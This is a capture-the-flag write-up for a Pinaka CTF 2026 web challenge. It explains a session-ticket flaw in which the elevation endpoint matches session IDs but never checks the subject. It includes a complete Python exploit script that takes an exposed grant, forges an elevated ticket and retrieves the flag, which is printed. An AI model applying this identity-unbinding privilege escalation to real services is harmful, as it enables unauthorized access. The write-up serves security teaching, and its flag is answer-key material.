Vibhishana: The Oath of Refuge

By Team Cryptonite · 1 min read

About the CTF: Pinaka CTF

An HTTP/JSON gateway implements a session-ticket / refuge-grant attestation flow. Exploit session-identity unbinding to elevate Vibhishana without a Council grant.

Vibhishana: The Oath of Refuge

**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups


>An HTTP/JSON gateway implements a session-ticket / refuge-grant attestation flow. Exploit session-identity unbinding to elevate Vibhishana without a Council grant. Connection: http://130.210.48.10:9009/

Solve:

- /gateway/roster -> exposed refuge grants

- /oath/swear -> create session ticket

- /refuge/elevate -> exchanges ticket and grant for trusted one

- /refuge/sanctum -> flag get


{
    "sub": "vibhishana",
    "sid": "ABC123",
    "tier": "provisional"
}

- first the signature and session ticket get verified. also tier was checked if provisional

- verified council signature on refugee grant

- checked whether ticket.sid == grant.sid but the sub was never checked


#!/usr/bin/env python3
import json
import base64
import urllib.request

BASE = "http://130.210.48.10:9009"

def post(path, obj):
    req = urllib.request.Request(
        BASE + path, data=json.dumps(obj).encode(),
        headers={"Content-Type": "application/json"})
    with urllib.request.urlopen(req, timeout=20) as r:
        return json.loads(r.read())

def dec(tok):
    s = tok.split(".")[0]
    return json.loads(base64.urlsafe_b64decode(s + "=" * (-len(s) % 4)))

roster = json.loads(urllib.request.urlopen(BASE + "/gateway/roster", timeout=20).read())
grant = roster["grants_on_record"][0]["grant"]
sid = dec(grant)["sid"]                     

oath = post("/oath/swear", {"name": "vibhishana", "sid": sid})
ticket = oath["ticket"]                       

trusted = post("/refuge/elevate", {"ticket": ticket, "grant": grant})["ticket"]

print(post("/refuge/sanctum", {"ticket": trusted})["flag"])

Vibhishana: The Oath of Refuge: step screenshot

Flag:

PINAKA{vibhishanasharanagatisessionboundidentity_unbound}

Read this post on CyberHx →